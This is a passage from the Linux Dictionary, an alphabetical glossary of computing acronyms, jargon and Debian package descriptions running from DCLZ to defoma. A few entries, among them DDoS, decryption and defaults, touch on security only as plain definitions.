Digital Carrier Line Unit From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCLZ

Data Compression Lempel-Ziv From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCM

Digital Carrier Module From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCME

Digital Circuit Multiplication Equipment From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCNA

Data Communication Network Architecture From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCO

Digital Controlled Oscillator From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCOM

Distributed Component Object Model (COM, MS, OLE, ActiveX) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCOP

Desktop COmmunication Protocol (Linux, KDE) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dcopperl

Perl bindings for DCOP Perl bindings for DCOP From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dcoppython

Python bindings for DCOP Python bindings for DCOP From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCP

Data Compression Protocol (Motorola) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCPS

Data Communications Protocol Standards From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCR

Design Change Request (AIX, IBM) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCRC

Digital Cellular Radio Conference (GSM, conference, mobile-systems) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCS

Data sharing Control System (NEC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCS

Defense Communications System (mil., USA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCS

Desktop Color Separation From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCS

Digital Cellular System (mobile-systems) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCS

Digital Colour System (Adobe, Photoshop) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCS

Digital Control System (NEC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCS

Digital Cross-connect System (DEC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCT

??? (CICS, IBM) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCT

Data Collection Terminator (BTX) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCT

Discrete Cosine Transformation (MPEG, JPEG) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dctc

Direct Connect Text Client Text console client of well known DC (Direct Connect) protocol which offers peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". It is *really* not intended to be used "by hand". Instead You should install and use dcgui program. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCTN

Defense Commercial Telephone Network (mil., USA, network) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCU

Data Cache Unit (CPU, POWER) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dd

/dee-dee/ vt. [Unix: from IBM JCL] Equivalent to cat or BLT. Originally the name of a Unix copy command with special options suitable for block-oriented devices; it was often used in heavy-handed system maintenance, as in "Let's dd the root partition onto a tape, then use the boot PROM to load it back on to a new disk". The Unix dd(1) was designed with a weird, distinctly non-Unixy keyword option syntax reminiscent of IBM System/360 JCL (which had an elaborate DD `Dataset Definition' specification for I/O devices); though the command filled a need, the interface design was clearly a prank. The jargon usage is now very rare outside Unix sites and now nearly obsolete even there, as dd(1) has been deprecated for a long time (though it has no exact replacement). The term has been displaced by BLT or simple English `copy'. From Jargon Dictionary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dd

convert and copy a file From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dd

copies a file (from standard input to standard output, by default) using specific input and output blocksizes, while optionally performing conversions on it. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DD

Dansk Dataforening (org., Denmark) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DD

Data Dictionary (SA, CASE, DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DD

Depacketization Delay From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DD

Double Density [disks] (FDD) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDA

DOMAIN Defined Attribute (DOMAIN) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

ddate

converts Gregorian dates to Discordian dates From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDBAC

Data-Design HBCI Banking Application Components (HBCI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDBMS

Distributed DataBase Management System (DBMS, DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDC

Device Color Characterization (XCMS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDC

Display Data Channel (VESA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDC2B

Device Data Channel [standard], level 2B (DDC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDCD

Double Density Compact Disk (CD, Sony) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDCDR

Double Density Compact Disk - Read (Sony, CD), "DDCD-R" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDCDRW

Double Density Compact Disk - Read Write (Sony, CD), "DDCD-RW" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

ddclient

Update dynamic IP address at DynDNS.org A perl based client to update your dynamic IP address at DynDNS.org (or other dynamic DNS services such as Hammernode, Zoneedit or EasyDNS), thus allowing you and others to use a fixed hostname (myhost.dyndns.org) to access your machine. This client supports both the dynamic and (near) static services, MX setting, and alternative host. It caches the address, and only attempts the update if the address actually changes. For more information on DynDNS.org, see http://www.dyndns.org/. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDCMP

Digital Data Communication Message Protocol From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDCS2

Distributed Database Connection Services /2 (IBM, DB, DRDA), "DDCS/2" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDD

Data Display Debugger (GNU) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

ddd

The Data Display Debugger, a graphical debugger frontend. The Data Display Debugger (DDD) is a popular graphical user interface to UNIX debuggers such as GDB, DBX, XDB, JDB and others. Besides ``usual'' front-end features such as viewing source texts and breakpoints, DDD provides an interactive graphical data display, where data structures are displayed as graphs. Using DDD, you can reason about your application by watching its data, not just by viewing it execute lines of source code. Other DDD features include: debugging of programs written in Ada, C, C++, Chill, Fortran, Java, Modula, Pascal, Perl and Python; machine-level debugging; hypertext source navigation and lookup; breakpoint, backtrace, and history editors; preferences and settings editors; program execution in terminal emulator window; debugging on remote host; on-line manual; interactive help on the Motif user interface; GDB/DBX/XDB command-line interface with full editing, history, and completion capabilities. This version is linked against Lesstif, an LGPL-ed implementation of Motif. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDE

DatenenDEinrichtung From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDE

Dynamic Data Exchange From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDES

Digital Data Exchange System (ANSI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDF

Data Decryption Field (cryptography) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDI

Device Dependent Interface From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDI

Device Driver Interface From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDIMM

Dual [RAS] Dual Inline Memory Module (DIMM, RAS), "D-DIMM" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDK

Device Development / Driver Kit (MS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDL

Data Definition Language From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDL

Document Description Language From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDM

Distributed Data Management (IBM, CCS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDML

Display Driver Management Layer From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDN

Defense Data Network (USA, network, mil.) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDNS

Distributed DOMAIN Naming Service (TCP/IP) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDNS

Dynamic DOMAIN Name Service (OS/2, IBM) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDO

Dynamic Drive Overlay (HDD, Ontrack) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDOS

Distributed Denial Of Service [attack], "DDoS" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDoS (Distributed Denial of Service)

A DDoS attack is one that pits many machines against a single victim. An example is the attacks of February 2000 against some of the biggest websites. Even though these websites have a theoretical bandwidth of a gigabit/second, distributing many agents throughout the Internet flooding them with traffic can bring them down. Key point: The Internet is defenseless against these attacks. The best defense is for ISPs to do "egress filtering": prevent packets from going outbound that do not originate from IP addresses assigned to the ISP. This cuts down on the problem of spoofed IP addresses. History: The original DDoS tools were clonebots used during IRC wars. See also: zombie. From Hacking-Lexicon http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDP

Datagram Delivery Protocol (AppleTalk) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDP

Distributed Data Processing From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDR

Double Data Rate (SDR) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDR

Dynamic Desktop Router (Cogent) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDRS

Defense Data Repository System (mil., USA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDRSDRAM

Double Data Rate Synchronous Dynamic Random Access Memory (DRAM, RAM, IC), "DDR-SDRAM" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDRSRAM

Double Data Rate Static Random Access Memory (RAM, IC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDS

Digital Data Service / System From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDS

Digital Data Storage (Sony, HP, DAT, ISO, ANSI, ECMA, Streamer) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDS

Direct Digital Sampling (CD-RW, SCSI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDS

Distributed Directory Service (DCE) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dds2tar

Tools for using DDS features of DAT drives with GNU tar This tool makes use of the fast seek command of DAT devices. Files from a selected file archive can be extracted within one minute. An undocumented c-shell script scsi_vendor is provided which may help in learning more about an unknown SCSI device. It is used by the mt-dds tool. scsi_vendor requires the tcsh flavor of c-shell. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDSA

Digital Data Service Adapter From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDSDC

Digital Data Storage - Data Compression (DDS, DCLZ), "DDS-DC" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

ddskk

Simple Kana to Kanji conversion program Daredevil SKK is a branch of SKK (Simple Kana to Kanji conversion program, an input method of Japanese). It forked from the main trunk, SKK version 10.56. It consists of a simple core and many optional programs which provide extensive features, however, our target is to more simplify core, and more expand its optional features. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDSS

Double Dynamic Suspension System (Asus, CD-ROM) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDT

Dynamic Debugging Tool (DEC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

ddt-client

Dynamic DNS Tools Client. This is the client side implementation of the DDTP protocol. It allows you to assign a fixed FQDN to any hosts that connects to the internet using a dynamic IP. You have to register with a DDT service provider in order to use it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

ddt-server

Dynamic DNS Tools Server. This is the server side implementation of the DDTP protocol. This is useful only if you want to provide a service similar to the one at ddts.net. You should not install unless you know what you are doing. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDU

Dialog Data Unit (BTX) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDV

DatenDirektVerbindung (Telekom) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDV

DES-DES-Verfahren (cryptography, HBCI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDV

Dialog Data Validation From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDVS

Daimler-benz DatenVerbundSystem (MBAG) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDVT

Dynamic Dispatch Virtual Tables From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDWG

Digital Display Working Group (org., LCD) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DDX

Distributed Data eXchange From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DE

DatenElement (HBCI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DEA

Deterministischer Endlicher Automat From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dead

adj. 1. Non-functional; down; crashed. Especially used of hardware. 2. At XEROX PARC, software that is working but not undergoing continued development and support. 3. Useless; inaccessible. Antonym: `live'. Compare dead code. From Jargon Dictionary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

deadlock

n. 1. [techspeak] A situation wherein two or more processes are unable to proceed because each is waiting for one of the others to do something. A common example is a program communicating to a server, which may find itself waiting for output from the server before sending anything more to it, while the server is similarly waiting for more input from the controlling program before outputting anything. (It is reported that this particular flavor of deadlock is sometimes called a `starvation deadlock', though the term `starvation' is more properly used for situations where a program can never run simply because it never gets high enough priority. Another common flavor is `constipation', in which each process is trying to send stuff to the other but all buffers are full because nobody is reading anything.) See deadly embrace. 2. Also used of deadlock-like interactions between humans, as when two people meet in a narrow corridor, and each tries to be polite by moving aside to let the other pass, but they end up swaying from side to side without making any progress because they always move the same way at the same time. From Jargon Dictionary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

deallocvt

deallocate unused virtual terminals From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debarchiver

Tool to handle debian package archives. This tool can create a potato like file structure that dselect, apt-get and similar tools can use for easier installation. You just have to place the package files into a incoming directory and the tool does the sorting (if you place the generated '.changes' file there too). OBSERVE! This package will create a cronjob that does the actual sorting. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debaux

Debian Auxiliary Programs This package contains Perl programs and modules to build and publish Debian packages. debaux-build automatically downloads APT sources before building, applies patches and additional sources. It has options to build the packages in an existing chroot environment, check the generated packages with lintian, install the created packages on your local system or turn them into RPM packages. debaux-build has experimental support for downloading Perl modules from CPAN and creating the necessary Debian packaging files. debaux-publish uploads packages and runs the scripts to create the APT sources and packages files on the remote system. debaux-publish doesn't support the pool structure yet. The DebAux::Debconf module provides an easy-to-use interface for the Debconf::Client::ConfModule::get function. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debbugs

The bug tracking system based on the active Debian BTS Debian has a bug tracking system which files details of bugs reported by users and developers. Each bug is given a number, and is kept on file until it is marked as having been dealt with. The system is mainly controlled by e-mail, but the bug reports can be viewed using WWW. This version is fully functional, but it does not autoconfig, see /usr/share/doc/debbugs/README.Debian after installation. Note: there might be some appearance issues where the a display variable doesn't expand as expected. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debbugs-el

Access the Debian BTS from within Emacs This package contains: * debian-bug.el, an Elisp function to submit a bug from within Emacs. * gnus-BTS.el, an enhancement to Gnus to provide buttons on bug numbers seen in Debian-related messages. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf

Debian configuration management system Debconf is a configuration management system for debian packages. Packages use Debconf to ask questions when they are installed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf-communicate

communicate with debconf From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf-copydb

copy a debconf db From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf-getlang

extract a language from a templates file From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf-loadtemplate

load template file into debconf database From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf-mergetemplate

merge together multiple debconf template files From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf-tiny

dummy package for upgrade purposes This is an empty package which depends on debconf. It exists only to ensure smooth upgrades from potato to woody, and can be safely removed at any time. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debconf-utils

debconf utilities This package contains some small utilities to aid users and developers. There are utilities to help manage debconf databases, others to manage translated template files and a program to communicate directly with debconf from the command line. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debfoster

Install only wanted Debian packages debfoster is a wrapper program for apt and dpkg. When first run, it will ask you which of the installed packages you want to keep installed. After that, it maintains a list of packages that you want to have installed on your system. It uses this list to detect packages that have been installed only because other packages depended on them. If one of these dependencies changes, debfoster will take notice, and ask if you want to remove the old package. This helps you to maintain a clean Debian install, without old (mainly library) packages lying around that aren't used any more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debget

download/compile source and binary Debian packages debget downloads source and binary Debian packages by name. It doesn't require a local copy of the Packages files, instead it lists directories on the FTP site to find out what versions are available. debget can also optionally unpack and compile source packages, and even install the generated binary packages. If you intend to use these features you should install the devscripts package for the dscverify script it contains. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debhelper

helper programs for debian/rules A collection of programs that can be used in a debian/rules file to automate common tasks related to building debian packages. Programs are included to install various files into your package, compress files, fix file permissions, integrate your package with the debian menu system, suidmanager, doc-base, etc. Most debian packages use debhelper as part of their build process. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DEBI

DMA Extended Bus Interface (Acorn, DMA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Debian GNU/Linux

The Debian Project is currently the largest volunteer based distribution provider. Debian has an old stable version 2.2 (potato), a newer stable version 3.0r1 (woody), and less stable but more current branches available. From LWN Distribution List http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debian-cd

Tools for building (Official) Debian CD set Debian-cd is the official tool for building Debian CD set since the potato release. It was formerly called YACS (for Yet Another CD Script). Its goal is to facilitate the creation of customized Debian CD set. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debian-guide

Text from: Debian GNU/Linux: Guide to Installation and Usage This package will install the full text in HTML and PostScript formats from the book "Debian GNU/Linux: Guide to Installation and Usage" by Debian developers John Goerzen and Ossama Othman (ISBN 0-7357-0914-9). You can find the installed items under /usr/doc/debian-guide. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Debian-Ham

Debian-Ham is a floppy distribution specifically for contesting and logging. It is based on uClibc, busybox, and tlf. The current scheme uses a LILO boot floppy with a minix root floppy. Network support is included to connect to a DX cluster. The initial Freshmeat announcment was for version 0.3, released July 21, 2002. Version 0.5 was released April 24, 2003. A floppy-based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Debian-Jr.

This is an internal project to make Debian an OS that children of all ages will want to use. Our initial focus will be on producing something for children up to age 8. Once we have accomplished this, our next target age range is 7 to 12. By the time children reach their teens, they should be comfortable with using Debian without any special modifications. From LWN Distribution List http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debian-keyring

GnuPG (and obsolete PGP) keys of Debian Developers The Debian project wants developers to digitally sign the announcements of their packages with GnuPG, to protect against forgeries. This package contains keyrings of GnuPG and (deprecated) PGP keys of developers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Debian-Med

Debian-Med is an internal Debian project to support tasks of people in medical care. The goal of Debian-Med is to build a a complete system for all tasks in medical care, using only free software. A 'special purpose/mini' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debian-policy

Debian Policy Manual and related documents This package contains: - Debian Policy Manual - Linux Filesystem Hierarchy Standard (FHS) - Authoritative list of virtual package names - Paper about libc6 migration - Policy checklist for upgrading your packages It also replaces the old Packaging Manual; most of the still-relevant content is now included as appendices to the Policy Manual. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debian-test

Scripts used to run tests against an installed Debian system This package contains tests and the framework to run them, and test provided by other packages to test themselves. The intent is that this should build into a test suite that provides a reasonable level of confidence that a Debian system is working correctly. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debiandoc-sgml

DebianDoc SGML DTD and formatting tools This is an SGML-based documentation formatting package used for the Debian manuals. It reads markup files and produces DVI (via LaTeX), HTML, Info (via Texinfo), LaTeX, PostScript (via DVI), Texinfo, and plain text (with overstrikes a la troff as well as without) files. The LaTeX based output needs the libpaperg, tetex-bin and tetex-extra packages. The Texinfo based output needs the texinfo package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debianutils

Miscellaneous utilities specific to Debian. Debianutils includes installkernel mkboot mktemp readlink run-parts savelog sensible-editor sensible-pager tempfile which. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debmake

Debianizing Tool and automated binary generation Eases the development and maintenance of Debian Sourcepackages. - deb-make: Generate a debian style sourcepackage from a regular sourcecode archive. Customizes control files. Provides example setup for debstd that is usually usable with minimal editing. - "debstd" which has the following abilities: - Automates compression of documentation, localizes manpages compresses and installs them. - Supports multiple binaries generated from a single source package - Generates maintainer scripts for you and installs all scripts for you in the proper locations with the proper permissions. - Can perform modifications on a variety of important debian config files through generation of proper maintainer scripts. - Runs dpkg-shlibdeps on all ELF binaries for you and generates correct shlibs file for provided libraries automatically. - Checks symlinks to manpages /documentation and redirects them if a file was compressed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debootstrap

Bootstrap a basic Debian system debootstrap is used to create a Debian base system from scratch, without requiring the availability of dpkg or apt. It does this by downloading .deb files from a mirror site, and carefully unpacking them into a directory which can eventually be chrooted into. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

deborphan

Find orphaned libraries. deborphan finds "orphaned" packages on your system. It determines which packages have no other packages depending on their installation, and shows you a list of these packages. It is most useful when finding libraries, but it can be used on packages in all sections. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debpartial

Debian Packages/Sources file partition tool debpartial is a program to separate Packages.gz and Sources.gz files by size of packages and sources. It can be used in the case of: * creating 1 DVD/CD Debian (source & binary) * creating Debian Daily Diff CD. * separating the debian archive into several harddisks. * mirroring packages only you want (using debmirror etc). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debroster

A package for use at expos. Debroster starts up an eterm with the Debian logo as the background, with a randomly-ordered list of the current developers scrolling up the screen. Use it to show just how many people contribute to the Debian project - and so why we are so damn good :-) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debsig-verify

Debian Package Signature Verification Tool This tool inspects and verifies package signatures based on predetermined policies. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debsigs

applies cryptographics signatures to Debian packages debsigs is a program that allows GPG signatures to be embedded inside .deb packages. These signatures can later be verified to ensure the authenticity of the contents of the .deb. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debsums

Verify installed package files against MD5 checksums. debsums can verify the integrity of installed package files against MD5 checksums installed by the package, or generated from a .deb archive. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debugfs

ext2 file system debugger From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Debugger

A utility program, often included in compilers or interpreters, that helps programmers find and fix syntax errors and other errors in source code. From QUECID http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Debugging

The process of locating and correcting errors in a program. From QUECID http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debview

Emacs mode for viewing Debian packages After installing, you can use C-d in dired mode to view the .deb file on the current line. Allows both the structure and contents of a .deb archive to be examined. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

debwrap

Wrapper for dpkg/apt-get 'debwrap' is a wrapper program for dpkg/apt-get, which reply questions from each package described in {pre,post}-inst scripts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DEC

/dek/ n. 1. v. Verbal (and only rarely written) shorthand for decrement, i.e. `decrease by one'. Especially used by assembly programmers, as many assembly languages have a dec mnemonic. Antonym: inc. 2. n. Commonly used abbreviation for Digital Equipment Corporation, later deprecated by DEC itself in favor of "Digital" and now entirely obsolete following the buyout by Compaq. Before the killer micro revolution of the late 1980s, hackerdom was closely symbiotic with DEC's pioneering timesharing machines. The first of the group of cultures described by this lexicon nucleated around the PDP-1 (see TMRC). Subsequently, the PDP-6, PDP-10, PDP-20, PDP-11 and VAX were all foci of large and important hackerdoms, and DEC machines long dominated the ARPANET and Internet machine population. DEC was the technological leader of the minicomputer era (roughly 1967 to 1987), but its failure to embrace microcomputers and Unix early cost it heavily in profits and prestige after silicon got cheap. Nevertheless, the microprocessor design tradition owes a major debt to the PDP-11 instruction set, and every one of the major general-purpose microcomputer OSs so far (CP/M, MS-DOS, Unix, OS/2, Windows NT) was either genetically descended from a DEC OS, or incubated on DEC hardware, or both. Accordingly, DEC was for many years still regarded with a certain wry affection even among many hackers too young to have grown up on DEC machines. DEC reclaimed some of its old reputation among techies in the first half of the 1990s. The success of the Alpha, an innovatively-designed and very high-performance killer micro, helped a lot. So did DEC's newfound receptiveness to Unix and open systems in general. When Compaq acquired DEC at the end of 1998 there was some concern that these gains would be lost along with the DEC nameplate, but the merged company has so far turned out to be culturally dominated by the ex-DEC side. From Jargon Dictionary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DEC

Digital Equipment Corporation (manufacturer) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DECIX

DEutscher Commercial Internet eXchange (Internet), "DE-CIX" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DECNET

Digital Equipment Corporation NETwork (DEC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

decryption (decrypt, decipher)

The opposite of encryption/encrypt/encipher, decryption is the process of taking encrypted data (called ciphertext) and converting it back to the original plaintext. From Hacking-Lexicon http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DECT

Digital European Cordless Telecommunications (DFUe) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DECUS

Digital Equipment Computer Users Society (org., DEC, user group) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dedit

Editor Tool with Japanese extension for beginners. The very simple editor with GNOME Environment for beginners. DEdit can handle gzipped files and some Japanese encoded files. (Japanese encode type: EUC-JP,ISO-2022-JP, SJIS) Also can convert Japanese string encode types. Original DEdit is distributed as a Debian native package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DEE

DatenEndEinrichtung From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defaults

The "defaults" are the settings of a system before it has been configured. Key point: Security irritates customers who prefer products that are easy to use. Therefore, most vendors make the same trade off. They ship their systems with the best "out-of-box" experience, and as a result most boxes are easily hacked in their default state. The more a vendor touts its ease-of-use, the more likely hackers will find that vendor's products easy to hack. See also: samples. From Hacking-Lexicon http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defendguin

defender clone with penguins "Defendguin" is based loosely on William's classic arcade game, "Defender." Some recognizable stars in the realm of modern operating systems should be fairly obvious. A certain monopoly-owning bad guy has been cloned hundreds of times by an unknown alien race. They are now attacking earth, kidnapping little penguinoids and converting them into mutants. Helping them on their way are some other nasty alien ships, of which there are plenty... From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Definite Linux

Definite Linux was a boxed set of desktop Linux and applications. It hasn't been maintained since late 2000. Distribution development is not all that active. From LWN Distribution List http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma

Debian Font Manager -- automatic font configuration framework. Defoma, which stands for DEbian FOnt MAnager, provides a framework of automatic font configuration. An application whose configuration of fonts requires users' hand can make the configuration process automated through Defoma, by installing a Defoma-configuration script to Defoma. The script gets called whenever a font is installed and removed, so that the script updates the configuration. Font packages should register their fonts to Defoma in order to have them configured automatically for applications. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma-app

configure a specific application about fonts registered in Debian Font Manager. From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma-font

register/unregister font(s) to Debian Font Manager From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma-hints

